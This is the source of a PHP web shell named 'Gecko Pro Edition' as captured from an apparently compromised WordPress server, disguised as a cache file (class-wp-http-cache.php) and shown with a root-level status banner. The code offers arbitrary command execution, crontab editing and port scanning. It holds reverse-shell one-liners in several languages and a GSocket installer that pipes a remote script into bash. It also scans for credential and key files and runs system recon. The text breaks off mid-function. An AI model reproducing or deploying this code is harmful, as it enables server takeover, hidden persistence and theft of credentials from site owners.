403Webshell
Server IP : 167.99.224.18  /  Your IP : 216.73.216.136
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.0.25
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/cache/podlove/3f/9dd6eb4096d07b9dfe71a1cecf1cfe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/cache/podlove/3f/9dd6eb4096d07b9dfe71a1cecf1cfe/class-wp-http-cache.php
<?php
/**
 * Gecko Pro Edition - File Manager
 * Compatible with PHP 5.4 - PHP 8.x
 */

// ───── Output Buffering & Error Safety ────────────────────────────
// Tangkap semua output yang tidak diinginkan (PHP warnings, notices,
// stray whitespace) agar tidak merusak JSON API responses.
ob_start();

// Custom error handler: simpan error ke log, jangan tampilkan ke output
set_error_handler(function($severity, $message, $file, $line) {
    // Log error tanpa menampilkan ke output
    @error_log("[GeckoFM] PHP Error [$severity]: $message in $file on line $line");
    // Jangan tampilkan error ke browser (mencegah HTML tercampur JSON)
    return true;
});

// Tangkap fatal errors juga
register_shutdown_function(function() {
    $error = error_get_last();
    if ($error && in_array($error['type'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR))) {
        // Bersihkan output buffer yang mungkin berisi HTML error
        while (ob_get_level() > 0) {
            ob_end_clean();
        }
        // Cek apakah ini API request
        if (isset($_GET['api'])) {
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode(array(
                'ok' => false,
                'error' => 'Server error: ' . $error['message']
            ));
        }
    }
});

// ───── Polyfills (kompatibilitas lintas versi PHP) ────────────────
if (!function_exists('http_response_code')) {
    // PHP < 5.4 fallback
    function http_response_code($code = null) {
        static $current = 200;
        if ($code !== null) {
            header(' ', true, (int)$code);
            $current = (int)$code;
        }
        return $current;
    }
}

if (!function_exists('str_contains')) {
    // PHP < 8.0 polyfill
    function str_contains($haystack, $needle) {
        return $needle === '' || strpos($haystack, $needle) !== false;
    }
}

if (!defined('JSON_UNESCAPED_UNICODE')) define('JSON_UNESCAPED_UNICODE', 0);
if (!defined('JSON_UNESCAPED_SLASHES')) define('JSON_UNESCAPED_SLASHES', 0);

// ───── Konfigurasi awal ───────────────────────────────────────────
$realBase = realpath(__DIR__);
$baseDir  = $realBase ? $realBase : __DIR__;

// Set upload limits
@ini_set('upload_max_filesize', '100M');
@ini_set('post_max_size', '100M');
@ini_set('max_file_uploads', '20');
@ini_set('memory_limit', '256M');
@ini_set('display_errors', 0); // Matikan display errors agar tidak merusak JSON
error_reporting(E_ALL);

function jsonOut($data, $code = 200)
{
    // Bersihkan output buffer sebelum kirim JSON
    // (menghapus stray whitespace, PHP notices, dll)
    while (ob_get_level() > 0) {
        ob_end_clean();
    }
    http_response_code((int)$code);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}


function sanitizeRelPath($path)
{
    $path = (string)$path;
    // Decode URL encoded path first
    $path = urldecode($path);

    // Handle Windows paths (C:/, D:/, etc)
    if (preg_match('/^[A-Za-z]:/', $path)) {
        // Normalize slashes
        $path = str_replace('\\', '/', $path);
        // Fix double slashes
        $path = preg_replace('#/+#', '/', $path);
        // Ensure format like C:/path/to/folder
        $path = preg_replace('/^([A-Za-z]:)\/*/', '$1/', $path);
        return $path;
    }

    // Handle absolute Linux paths
    if (strlen($path) > 0 && $path[0] === '/') {
        $path = preg_replace('#/+#', '/', $path);
        return $path;
    }

    // Original relative path logic
    $path = str_replace(array('\\', "\0"), array('/', ''), $path);
    $path = trim($path, '/');
    $parts = array_filter(explode('/', $path), function($p) {
        return $p !== '' && $p !== '.';
    });
    $clean = array();
    foreach ($parts as $part) {
        if ($part === '..') { array_pop($clean); continue; }
        if (preg_match('/[\x00-\x1f]/', $part)) continue;
        $clean[] = $part;
    }
    return implode('/', $clean);
}

function resolvePath($baseDir, $relPath, $mustExist = true)
{
    $rel = sanitizeRelPath($relPath);

    // Handle absolute Windows paths (C:/, D:/, etc)
    if (preg_match('/^[A-Za-z]:\//', $rel)) {
        // Convert to system path
        $full = str_replace('/', DIRECTORY_SEPARATOR, $rel);

        if ($mustExist) {
            $real = realpath($full);
            if ($real !== false) {
                return $real;
            }
            return null;
        } else {
            // Check if parent exists
            $parent = dirname($full);
            if (is_dir($parent) || is_dir($full)) {
                return $full;
            }
            return null;
        }
    }

    // Handle absolute Linux paths
    if (strlen($rel) > 0 && $rel[0] === '/') {
        if ($mustExist) {
            $real = realpath($rel);
            if ($real !== false) {
                return $real;
            }
            return null;
        } else {
            $parent = dirname($rel);
            if (is_dir($parent) || is_dir($rel)) {
                return $rel;
            }
            return null;
        }
    }

    // Handle relative paths
    $full = $rel === '' ? $baseDir : $baseDir . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel);
    $real = $mustExist ? realpath($full) : (is_file($full) || is_dir($full) ? realpath($full) : null);

    if ($real === false || $real === null) {
        if (!$mustExist) {
            $parent = dirname($full);
            $parentReal = realpath($parent);
            $baseDirNormalized = str_replace('\\', '/', $baseDir);
            $parentRealNormalized = $parentReal ? str_replace('\\', '/', $parentReal) : '';
            if ($parentReal && strpos($parentRealNormalized, $baseDirNormalized) === 0) {
                return $full;
            }
        }
        return null;
    }

    $realNormalized = str_replace('\\', '/', $real);
    $baseDirNormalized = str_replace('\\', '/', $baseDir);
    $starts = strpos($realNormalized, $baseDirNormalized) === 0;
    return $starts ? $real : null;
}

function formatBytes($bytes)
{
    $bytes = (int)$bytes;
    if ($bytes < 1024) return $bytes . ' B';
    $units = array('KB', 'MB', 'GB', 'TB');
    $v = $bytes / 1024;
    foreach ($units as $u) {
        if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . ' ' . $u;
        $v /= 1024;
    }
    return number_format($v, 1) . ' PB';
}

function fileIcon($name, $dir)
{
    if ($dir) return 'folder';
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));

    $iconMap = array(
        'php' => 'php', 'phtml' => 'php',
        'js' => 'js', 'mjs' => 'js', 'ts' => 'js', 'tsx' => 'js', 'jsx' => 'js',
        'css' => 'css', 'scss' => 'css', 'sass' => 'css', 'less' => 'css',
        'html' => 'html', 'htm' => 'html',
        'json' => 'config', 'yaml' => 'config', 'yml' => 'config',
        'xml' => 'config', 'toml' => 'config', 'env' => 'config', 'ini' => 'config',
        'md' => 'text', 'txt' => 'text', 'log' => 'text',
        'png' => 'image', 'jpg' => 'image', 'jpeg' => 'image',
        'gif' => 'image', 'webp' => 'image', 'svg' => 'image', 'ico' => 'image',
        'zip' => 'archive', 'rar' => 'archive', '7z' => 'archive',
        'tar' => 'archive', 'gz' => 'archive',
        'sql' => 'database', 'db' => 'database',
    );

    return isset($iconMap[$ext]) ? $iconMap[$ext] : 'file';
}

function isTextFile($path)
{
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $text = array('php','phtml','js','mjs','ts','tsx','jsx','css','scss','sass','less','html','htm',
        'json','yaml','yml','xml','toml','env','ini','md','txt','log','sql','htaccess','gitignore','csv');
    if (in_array($ext, $text, true)) return true;
    $size = filesize($path);
    if ($size === false || $size > 512000) return false;
    $fh = fopen($path, 'rb');
    if (!$fh) return false;
    $chunk = fread($fh, 8192); fclose($fh);
    return $chunk !== false && !preg_match('/[\x00-\x08\x0e-\x1f]/', $chunk);
}

function listEntries($dir)
{
    $items = array();
    $h = @opendir($dir);
    if (!$h) return $items;
    while (($name = readdir($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        $isDir = is_dir($full);
        $perm = substr(sprintf('%o', fileperms($full)), -4);
        $sz = @filesize($full);
        $mt = @filemtime($full);
        $items[] = array(
            'name' => $name,
            'is_dir' => $isDir,
            'size' => $isDir ? null : (int)($sz ? $sz : 0),
            'modified' => (int)($mt ? $mt : time()),
            'icon' => fileIcon($name, $isDir),
            'perm' => $perm,
            'editable' => !$isDir && isTextFile($full),
        );
    }
    closedir($h);
    usort($items, function ($a, $b) {
        if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1;
        return strcasecmp($a['name'], $b['name']);
    });
    return $items;
}

function runTerminal($command, $cwd)
{
    if (!function_exists('proc_open')) {
        return array('output' => 'proc_open() is disabled on this server.', 'exit_code' => 1);
    }
    $descriptors = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w'));
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $cmd = $isWin ? 'cmd /C ' . $command : $command;
    $pipes = array();
    $proc = @proc_open($cmd, $descriptors, $pipes, $cwd);
    if (!is_resource($proc)) return array('output' => 'Failed to execute.', 'exit_code' => 1);
    fclose($pipes[0]);
    $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]);
    $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]);
    $code = proc_close($proc);
    $stdout = $stdout ? $stdout : '';
    $stderr = $stderr ? $stderr : '';
    $sep = ($stdout !== '' && $stderr !== '') ? "\n" : '';
    $out = trim($stdout . $sep . $stderr);
    if ($out === '') {
        $out = ($code === 0) ? '(no output)' : '';
    }
    return array('output' => $out, 'exit_code' => $code);
}

function searchFiles($baseDir, $relDir, $query, &$results, &$count, $limit = 200)
{
    if ($count >= $limit) return;
    $dir = resolvePath($baseDir, $relDir);
    if (!$dir || !is_dir($dir)) return;
    $h = @opendir($dir);
    if (!$h) return;
    while (($name = readdir($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        if ($count >= $limit) break;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        $itemRel = $relDir === '' ? $name : $relDir . '/' . $name;
        if (stripos($name, $query) !== false) {
            $isDir = is_dir($full);
            $sz = @filesize($full);
            $results[] = array(
                'path' => $itemRel,
                'name' => $name,
                'is_dir' => $isDir,
                'icon' => fileIcon($name, $isDir),
                'size' => $isDir ? null : (int)($sz ? $sz : 0),
            );
            $count++;
        }
        if (is_dir($full)) searchFiles($baseDir, $itemRel, $query, $results, $count, $limit);
    }
    closedir($h);
}

function getCrontab()
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if ($isWin) {
        $result = runTerminal('schtasks /query /fo LIST', $GLOBALS['baseDir']);
        return array('content' => $result['output'], 'platform' => 'windows', 'editable' => false);
    }
    $result = runTerminal('crontab -l 2>&1', $GLOBALS['baseDir']);
    $out = $result['output'];
    if (stripos($out, 'no crontab') !== false) {
        $out = '';
    }
    return array('content' => $out, 'platform' => 'unix', 'editable' => true);
}

function setCrontab($content)
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if ($isWin) {
        return array('ok' => false, 'error' => 'Edit crontab on Windows via schtasks in Terminal.');
    }
    $tmp = tempnam(sys_get_temp_dir(), 'cron');
    if ($tmp === false) {
        return array('ok' => false, 'error' => 'Cannot create temp file');
    }
    file_put_contents($tmp, rtrim((string)$content) . "\n");
    $result = runTerminal('crontab ' . escapeshellarg($tmp), $GLOBALS['baseDir']);
    @unlink($tmp);
    if ($result['exit_code'] !== 0) {
        return array('ok' => false, 'error' => $result['output'] ? $result['output'] : 'Failed to save crontab');
    }
    return array('ok' => true);
}

function parsePortList($spec, $max = 500)
{
    $ports = array();
    foreach (explode(',', (string)$spec) as $part) {
        $part = trim($part);
        if ($part === '') continue;
        if (preg_match('/^(\d+)\s*-\s*(\d+)$/', $part, $m)) {
            $start = max(1, min(65535, (int)$m[1]));
            $end = max(1, min(65535, (int)$m[2]));
            if ($start > $end) { $t = $start; $start = $end; $end = $t; }
            for ($p = $start; $p <= $end && count($ports) < $max; $p++) {
                $ports[$p] = $p;
            }
        } elseif (preg_match('/^\d+$/', $part)) {
            $p = (int)$part;
            if ($p >= 1 && $p <= 65535 && count($ports) < $max) {
                $ports[$p] = $p;
            }
        }
    }
    return array_values($ports);
}

function scanPorts($host, $portsSpec, $timeout = 1)
{
    $host = trim((string)$host);
    if ($host === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $host)) {
        return array('ok' => false, 'error' => 'Invalid host');
    }
    $timeout = max(1, min(5, (int)$timeout));
    $ports = parsePortList($portsSpec, 500);
    if (empty($ports)) {
        return array('ok' => false, 'error' => 'No valid ports (e.g. 22,80,443 or 1-1024)');
    }
    $open = array();
    $ip = @gethostbyname($host);
    foreach ($ports as $port) {
        $conn = @fsockopen($host, $port, $errno, $errstr, $timeout);
        if ($conn) {
            $open[] = (int)$port;
            fclose($conn);
        }
    }
    sort($open);
    return array('ok' => true, 'host' => $host, 'ip' => $ip, 'open' => $open, 'scanned' => count($ports));
}

function startBackconnect($ip, $port, $method)
{
    $ip = trim((string)$ip);
    $port = (int)$port;
    $method = strtolower(trim((string)$method));
    if ($ip === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $ip)) {
        return array('ok' => false, 'error' => 'Invalid IP/hostname');
    }
    if ($port < 1 || $port > 65535) {
        return array('ok' => false, 'error' => 'Invalid port');
    }
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $payloads = array(
        'bash'   => "bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'",
        'nc'     => "rm -f /tmp/.bc;mkfifo /tmp/.bc;cat /tmp/.bc|/bin/sh -i 2>&1|nc {$ip} {$port} >/tmp/.bc",
        'python' => "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
        'perl'   => "perl -e 'use Socket;\$i=\"{$ip}\";\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
        'php'    => "php -r '\$s=fsockopen(\"{$ip}\",{$port});proc_open(\"/bin/sh -i\",array(0=>\$s,1=>\$s,2=>\$s),\$p);'",
    );
    if ($isWin) {
        $payloads['powershell'] = "powershell -nop -W hidden -c \"\$c=New-Object Net.Sockets.TCPClient('{$ip}',{$port});\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){;\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+'PS '+(pwd).Path+'> ';\$sb=([Text.Encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$sb,0,\$sb.Length)}\"";
        $payloads['nc'] = "nc.exe {$ip} {$port} -e cmd.exe";
    }
    if (!isset($payloads[$method])) {
        return array('ok' => false, 'error' => 'Unknown method');
    }
    $cmd = $payloads[$method];
    if ($isWin) {
        @pclose(@popen('start /B ' . $cmd, 'r'));
    } else {
        @exec($cmd . ' > /dev/null 2>&1 &');
    }
    return array('ok' => true, 'message' => 'Backconnect started (' . $method . ') → ' . $ip . ':' . $port);
}

function gsocketIsFirewalled($output)
{
    $out = strtolower((string)$output);
    return strpos($out, 'cannot connect to gsrn') !== false
        || (strpos($out, 'firewalled') !== false && strpos($out, 'gsrn') !== false);
}

function gsocketBuildCommand($method, $port = null)
{
    $method = strtolower(trim((string)$method));
    if ($method === 'wget') {
        $inner = 'wget --no-check-certificate -qO- https://gsocket.io/y';
    } else {
        $method = 'curl';
        $inner = 'curl -fsSLk https://gsocket.io/y';
    }
    $prefix = 'GS_NOCERTCHECK=1';
    if ($port !== null) {
        $prefix .= ' GS_PORT=' . (int)$port;
    }
    return array(
        'command' => $prefix . ' bash -c "$(' . $inner . ')"',
        'method' => $method,
        'port' => $port,
    );
}

function runGsocket($method)
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if ($isWin) {
        return array('ok' => false, 'error' => 'GSocket installer requires bash (Linux/Unix).');
    }
    if (!function_exists('proc_open')) {
        return array('ok' => false, 'error' => 'proc_open() is disabled on this server.');
    }
    @set_time_limit(1800);
    @ini_set('max_execution_time', '1800');

    $portsToTry = array(null);
    for ($p = 22; $p <= 67; $p++) {
        $portsToTry[] = $p;
    }

    $allOutput = '';
    $attempts = 0;
    $successPort = null;
    $lastCommand = '';
    $lastMethod = strtolower(trim((string)$method));
    if ($lastMethod !== 'wget') {
        $lastMethod = 'curl';
    }
    $lastExit = 1;
    $stoppedOnFirewalled = false;

    foreach ($portsToTry as $port) {
        $built = gsocketBuildCommand($method, $port);
        $command = $built['command'];
        $lastCommand = $command;
        $lastMethod = $built['method'];
        $label = ($port === null) ? 'default (no GS_PORT)' : ('GS_PORT=' . $port);
        $attempts++;

        $result = runTerminal($command, $GLOBALS['baseDir']);
        if ($result['output'] === 'Failed to execute.') {
            return array('ok' => false, 'error' => 'Failed to execute GSocket installer.', 'command' => $command);
        }

        $lastExit = (int)$result['exit_code'];
        $firewalled = gsocketIsFirewalled($result['output']);
        $allOutput .= '=== Attempt ' . $attempts . ': ' . $label . " ===\n";
        $allOutput .= '$ ' . $command . "\n\n";
        $allOutput .= $result['output'] . "\n";
        $allOutput .= '(exit ' . $lastExit . ")\n\n";

        if (!$firewalled) {
            $successPort = $port;
            $allOutput .= '=== SUCCESS: GSRN reachable with ' . $label . " ===\n";
            break;
        }

        $stoppedOnFirewalled = true;
        if ($port !== null && $port >= 67) {
            $allOutput .= "=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\n";
        }
    }

    $portLabel = ($successPort === null) ? 'default' : (string)$successPort;

    return array(
        'ok' => true,
        'output' => $allOutput,
        'exit_code' => $lastExit,
        'command' => $lastCommand,
        'method' => $lastMethod,
        'gs_port' => $successPort,
        'gs_port_label' => $portLabel,
        'attempts' => $attempts,
        'firewalled' => ($successPort === null && $stoppedOnFirewalled),
        'success' => ($successPort !== null || !$stoppedOnFirewalled),
    );
}

function runSecTool($tool, $input, $baseDir)
{
    $tool = strtolower(trim((string)$tool));
    switch ($tool) {
        case 'recon':
            return secRecon($baseDir);
        case 'sensitive':
            return secSensitiveScan($baseDir, (string)_v($input, 'path', ''));
        case 'processes':
            return secProcesses($baseDir);
        case 'network':
            return secNetwork($baseDir);
        case 'http':
            return secHttpRequest(
                (string)_v($input, 'url', ''),
                (string)_v($input, 'method', 'GET'),
                (string)_v($input, 'headers', ''),
                (string)_v($input, 'body', '')
            );
        case 'hash':
            return secHash((string)_v($input, 'text', ''), (string)_v($input, 'algo', 'sha256'));
        case 'codec':
            return secCodec((string)_v($input, 'mode', 'b64enc'), (string)_v($input, 'text', ''));
        case 'dns':
            return secDns((string)_v($input, 'host', ''), (string)_v($input, 'type', 'ALL'));
        case 'suid':
            return secSuidFind($baseDir);
        default:
            return array('ok' => false, 'error' => 'Unknown security tool');
    }
}

function secRecon($baseDir)
{
    $lines = array();
    $lines[] = '=== SYSTEM RECON ===';
    $lines[] = 'Timestamp : ' . date('Y-m-d H:i:s T');
    $lines[] = 'PHP       : ' . PHP_VERSION . ' (' . PHP_SAPI . ')';
    $lines[] = 'OS        : ' . PHP_OS;
    $lines[] = 'Server    : ' . (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '-');
    $lines[] = 'Hostname  : ' . (function_exists('gethostname') ? gethostname() : '-');
    $lines[] = 'Doc Root  : ' . (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '-');
    $lines[] = 'Script    : ' . __FILE__;
    $lines[] = 'Base Dir  : ' . $baseDir;
    $lines[] = 'Client IP : ' . (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-');
    $lines[] = '';

    $lines[] = '=== USER / PRIVILEGE ===';
    $lines[] = 'PHP user  : ' . get_current_user();
    if (function_exists('posix_geteuid')) {
        $lines[] = 'UID/EUID  : ' . posix_getuid() . ' / ' . posix_geteuid();
        $pw = @posix_getpwuid(posix_geteuid());
        if ($pw) $lines[] = 'Account   : ' . $pw['name'] . ' (home: ' . (isset($pw['dir']) ? $pw['dir'] : '-') . ')';
        $groups = @posix_getgroups();
        if ($groups) {
            $gn = array();
            foreach ($groups as $gid) {
                $g = @posix_getgrgid($gid);
                $gn[] = $g ? $g['name'] : $gid;
            }
            $lines[] = 'Groups    : ' . implode(', ', $gn);
        }
    }
    $whoami = runTerminal('whoami 2>&1', $baseDir);
    $lines[] = 'whoami    : ' . trim($whoami['output']);
    $id = runTerminal('id 2>&1', $baseDir);
    $lines[] = 'id        : ' . trim($id['output']);
    $lines[] = '';

    $lines[] = '=== PHP SECURITY ===';
    $lines[] = 'disable_functions : ' . (ini_get('disable_functions') ? ini_get('disable_functions') : '(none)');
    $lines[] = 'open_basedir      : ' . (ini_get('open_basedir') ? ini_get('open_basedir') : '(none)');
    $lines[] = 'allow_url_fopen   : ' . (ini_get('allow_url_fopen') ? 'On' : 'Off');
    $lines[] = 'allow_url_include : ' . (ini_get('allow_url_include') ? 'On' : 'Off');
    $lines[] = 'display_errors    : ' . (ini_get('display_errors') ? 'On' : 'Off');
    $lines[] = 'expose_php        : ' . (ini_get('expose_php') ? 'On' : 'Off');
    $lines[] = 'proc_open         : ' . (function_exists('proc_open') && !secFuncDisabled('proc_open') ? 'Available' : 'Disabled');
    $lines[] = 'shell_exec        : ' . (function_exists('shell_exec') && !secFuncDisabled('shell_exec') ? 'Available' : 'Disabled');
    $lines[] = 'curl              : ' . (function_exists('curl_init') ? 'Available' : 'Missing');
    $lines[] = 'PDO               : ' . (class_exists('PDO') ? 'Available' : 'Missing');
    $lines[] = '';

    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if (!$isWin) {
        $lines[] = '=== KERNEL / SYSTEM ===';
        $uname = runTerminal('uname -a 2>&1', $baseDir);
        $lines[] = trim($uname['output']);
        $lines[] = 'Uptime: ' . trim(runTerminal('uptime 2>&1', $baseDir)['output']);
        $lines[] = '';
    }

    $lines[] = '=== ENVIRONMENT (selected) ===';
    $envKeys = array('PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'PWD', 'TEMP', 'TMP', 'HTTP_HOST', 'SERVER_NAME');
    foreach ($envKeys as $k) {
        $v = getenv($k);
        if ($v !== false && $v !== '') $lines[] = $k . '=' . $v;
    }

    return array('ok' => true, 'output' => implode("\n", $lines));
}

function secFuncDisabled($fn)
{
    $disabled = ini_get('disable_functions');
    if (!$disabled) return false;
    return in_array($fn, array_map('trim', explode(',', $disabled)), true);
}

function secSensitiveScan($baseDir, $scanPath)
{
    $patterns = array(
        '.env', '.env.local', '.env.production', '.env.backup', '.env.old',
        'wp-config.php', 'configuration.php', 'config.php', 'settings.php', 'LocalSettings.php',
        'database.yml', 'secrets.yml', 'web.config', 'appsettings.json', 'local.settings.json',
        'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519', 'authorized_keys', '.htpasswd',
        'docker-compose.yml', 'docker-compose.yaml', '.git/config', 'passwd', 'shadow',
        'backup.sql', 'dump.sql', 'db.sql', '.my.cnf', 'pgpass', '.pgpass',
    );
    $roots = array();
    if ($scanPath !== '') {
        $resolved = resolvePath($baseDir, $scanPath, false);
        if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
    }
    if (empty($roots)) {
        $roots[] = $baseDir;
        foreach (array('/var/www', '/home', '/etc', '/tmp', dirname($baseDir)) as $r) {
            if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
        }
    }

    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $found = array();
    if (!$isWin) {
        $nameExpr = array();
        foreach ($patterns as $p) {
            $nameExpr[] = '-name ' . escapeshellarg($p);
        }
        $expr = '\( ' . implode(' -o ', $nameExpr) . ' \)';
        foreach ($roots as $root) {
            $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 7 ' . $expr . ' -type f 2>/dev/null | head -60';
            $out = runTerminal($cmd, $baseDir);
            foreach (explode("\n", $out['output']) as $line) {
                $line = trim($line);
                if ($line !== '' && @is_file($line)) {
                    $found[$line] = array(
                        'path' => $line,
                        'size' => @filesize($line),
                        'perm' => substr(sprintf('%o', @fileperms($line)), -4),
                        'readable' => @is_readable($line),
                    );
                }
            }
            if (count($found) >= 80) break;
        }
    } else {
        secWalkSensitive($roots[0], $patterns, $found, 0, 6);
    }

    $lines = array('=== SENSITIVE FILE SCAN ===', 'Roots: ' . implode(', ', $roots), 'Found: ' . count($found), '');
    foreach ($found as $item) {
        $flag = $item['readable'] ? '[R]' : '[--]';
        $lines[] = $flag . ' ' . $item['perm'] . ' ' . secFormatBytes(isset($item['size']) ? $item['size'] : 0) . '  ' . $item['path'];
    }
    if (empty($found)) $lines[] = '(no sensitive files found in scan scope)';

    return array('ok' => true, 'output' => implode("\n", $lines), 'count' => count($found), 'files' => array_values($found));
}

function secWalkSensitive($dir, $patterns, &$found, $depth, $maxDepth)
{
    if ($depth > $maxDepth || count($found) >= 80) return;
    $h = @opendir($dir);
    if (!$h) return;
    while (($name = readdir($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        if (in_array($name, $patterns, true) && @is_file($full)) {
            $found[$full] = array(
                'path' => $full,
                'size' => @filesize($full),
                'perm' => substr(sprintf('%o', @fileperms($full)), -4),
                'readable' => @is_readable($full),
            );
        }
        if (@is_dir($full) && $depth < $maxDepth) {
            secWalkSensitive($full, $patterns, $found, $depth + 1, $maxDepth);
        }
        if (count($found) >= 80) break;
    }
    closedir($h);
}

function secFormatBytes($bytes)
{
    $bytes = (int)$bytes;
    if ($bytes < 1024) return $bytes . 'B';
    if ($bytes < 1048576) return round($bytes / 1024, 1) . 'K';
    return round($bytes / 1048576, 1) . 'M';
}

function secProcesses($baseDir)
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $cmd = $isWin ? 'tasklist /V' : 'ps auxww 2>/dev/null || ps -ef 2>/dev/null';
    $result = runTerminal($cmd, $baseDir);
    return array('ok' => true, 'output' => $result['output']);
}

function secNetwork($baseDir)
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if ($isWin) {
        $cmd = 'netstat -ano';
    } else {
        $cmd = 'ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null || netstat -an 2>/dev/null';
    }
    $result = runTerminal($cmd, $baseDir);
    $extra = runTerminal($isWin ? 'ipconfig /all' : 'ip addr 2>/dev/null; echo "---"; ip route 2>/dev/null', $baseDir);
    $out = "=== LISTENING / CONNECTIONS ===\n" . $result['output'] . "\n\n=== INTERFACES / ROUTES ===\n" . $extra['output'];
    return array('ok' => true, 'output' => $out);
}

function secHttpRequest($url, $method, $headersRaw, $body)
{
    $url = trim($url);
    if ($url === '' || !preg_match('#^https?://#i', $url)) {
        return array('ok' => false, 'error' => 'URL must start with http:// or https://');
    }
    $method = strtoupper(trim($method));
    if (!in_array($method, array('GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS'), true)) {
        return array('ok' => false, 'error' => 'Invalid HTTP method');
    }

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        if ($body !== '' && in_array($method, array('POST', 'PUT', 'PATCH'), true)) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
        }
        $hdrs = array();
        foreach (preg_split('/\r?\n/', $headersRaw) as $line) {
            $line = trim($line);
            if ($line !== '') $hdrs[] = $line;
        }
        if (!empty($hdrs)) curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
        $resp = curl_exec($ch);
        $err = curl_error($ch);
        $info = curl_getinfo($ch);
        curl_close($ch);
        if ($resp === false) return array('ok' => false, 'error' => $err ? $err : 'Request failed');
        $out = "=== HTTP RESPONSE ===\n";
        $out .= 'URL    : ' . $url . "\n";
        $out .= 'Method : ' . $method . "\n";
        $out .= 'Code   : ' . (isset($info['http_code']) ? $info['http_code'] : '?') . "\n";
        $out .= 'Time   : ' . (isset($info['total_time']) ? round($info['total_time'], 3) . 's' : '?') . "\n\n";
        $out .= $resp;
        return array('ok' => true, 'output' => $out);
    }

    $cmd = 'curl -sS -k -i -X ' . escapeshellarg($method);
    foreach (preg_split('/\r?\n/', $headersRaw) as $line) {
        $line = trim($line);
        if ($line !== '') $cmd .= ' -H ' . escapeshellarg($line);
    }
